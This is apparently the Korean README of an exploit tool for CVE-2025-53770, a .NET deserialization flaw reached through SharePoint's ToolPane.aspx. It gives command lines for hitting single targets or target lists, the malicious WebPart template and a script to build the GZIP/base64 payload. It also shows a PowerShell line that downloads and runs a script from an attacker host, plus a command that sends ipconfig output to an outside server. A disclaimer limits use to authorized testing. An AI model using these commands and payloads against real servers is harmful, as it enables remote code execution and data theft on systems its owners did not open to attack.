
SharePoint WebPart 인젝션 익스플로잇 도구
🍕 ToolPane.aspx를 통한 SharePoint WebPart 인젝션을 악용하여 .NET 역직렬화 및 잠재적 원격 코드 실행(RCE)을 유발하는 익스플로잇 도구입니다.
개발자: @GOTOCVE
이 도구는 Microsoft SharePoint(온프레미스)의 취약점을 악용하여, 인증된 사용자가 ToolPane.aspx 엔드포인트를 남용하고 GZIP 압축된 직렬화 .NET 개체를 포함하는 악성 WebPart를 주입할 수 있게 합니다.
주입된 개체는 MSOTlPn_SelectedWpId 매개변수 안에 배치되고, SharePoint 백엔드에서 구문 분석 및 역직렬화되는 가짜 WebPart(예: <Scorecard:ExcelDataSet>)에 포함됩니다.
| Product | Affected Versions |
|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
| Field | Value |
|---|---|
| Component | Microsoft SharePoint (On-Premises) |
| Endpoint | /layouts/15/ToolPane.aspx |
| Parameter | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| Issue | Insecure .NET deserialization |
| CVE | CVE-2025-53770 |
exploit.pyCVE-2025-53770용 멀티스레드 SharePoint 익스플로잇 도구입니다.
/ToolPane.aspx 접근 확인YSLosf.exeLosFormatter 페이로드 생성기 및 역직렬화기.

python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
| Argument | Description |
|---|---|
-u | 대상 URL (예: https://sp.company.local) |
-f | 대상 URL이 포함된 파일 (줄당 하나) |
-p | 페이로드 파일 또는 직접 입력한 Base64 GZIP 문자열 |
--proxy | 선택적 프록시 (예: http://127.0.0.1:8080) |
-t | 제한 시간(초) (기본값: 15) |
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe 실행용)페이로드는 다음 조건을 충족해야 합니다:
DataSet, ObjectDataProvider)LosFormatter 또는 BinaryFormatter로 직렬화다음과 같은 WebPart에 포함됩니다:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosf로 페이로드 생성하기명령어(예: 리버스 셸)를 payload.txt에 넣으세요:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
출력을 payload-final.txt에 저장하고 익스플로잇 도구에 전달하세요.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatter이 취약점은 응답에 출력(예: ipconfig)을 반환하지 않습니다. 다음 중 하나를 수행해야 합니다:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
명시적 허가 없이 시스템을 대상으로 사용하지 마십시오. 오용은 불법적이고 비윤리적일 수 있습니다.
취약한 서버가 페이로드를 수락하고 MSOTlPn_SelectedWpId를 반사하거나 주입된 WebPart로 페이지를 렌더링한다면 악용 가능성이 높습니다. 출력이 없다는 것은 역직렬화가 실패했거나 서버가 패치되었음을 의미합니다.
이 도구는 셸코드나 웹 셸을 전달하거나 실행하지 않습니다.
GZIP 압축된 .NET 개체를 포함하는 악성 WebPart 구조를 사용해 취약한 ToolPane.aspx 엔드포인트를 통해 .NET 역직렬화 취약점(CVE-2025-53770) 악용을 시연할 뿐입니다.
🔹 목적: 연구자, 레드 팀, 방어자가 취약한 SharePoint 서버를 탐지하고 사용자 지정 페이로드로 인젝션 벡터를 안전하게 테스트할 수 있도록 돕습니다.
🔹 페이로드: 이 도구는 사용자가 WebPart에 Base64 인코딩된 GZIP 문자열로 포함될 자체 페이로드를 생성해야 합니다(예: YSLosf.exe 사용).
무해한 calc.exe 실행, 비콘 마커 등 적절하고 윤리적인 페이로드를 선택하는 것은 사용자의 책임입니다.
🔹 리버스 셸/웹 셸 미포함:
실제 공격자들이 spinstall0.aspx 같은 웹 셸을 설치할 수는 있지만, 이 프로젝트에는 그러한 로직이 포함되어 있지 않습니다.
리버스 셸을 전달할 계획이라면 수동으로 자체 페이로드를 생성해야 하며 그 사용에 대한 전적인 책임을 져야 합니다.
Telegram에서 **@GOTOCVE**에 참여하세요:
제작자: Ali Soltani
연구 문의나 버그 신고는 Telegram으로 연락하세요.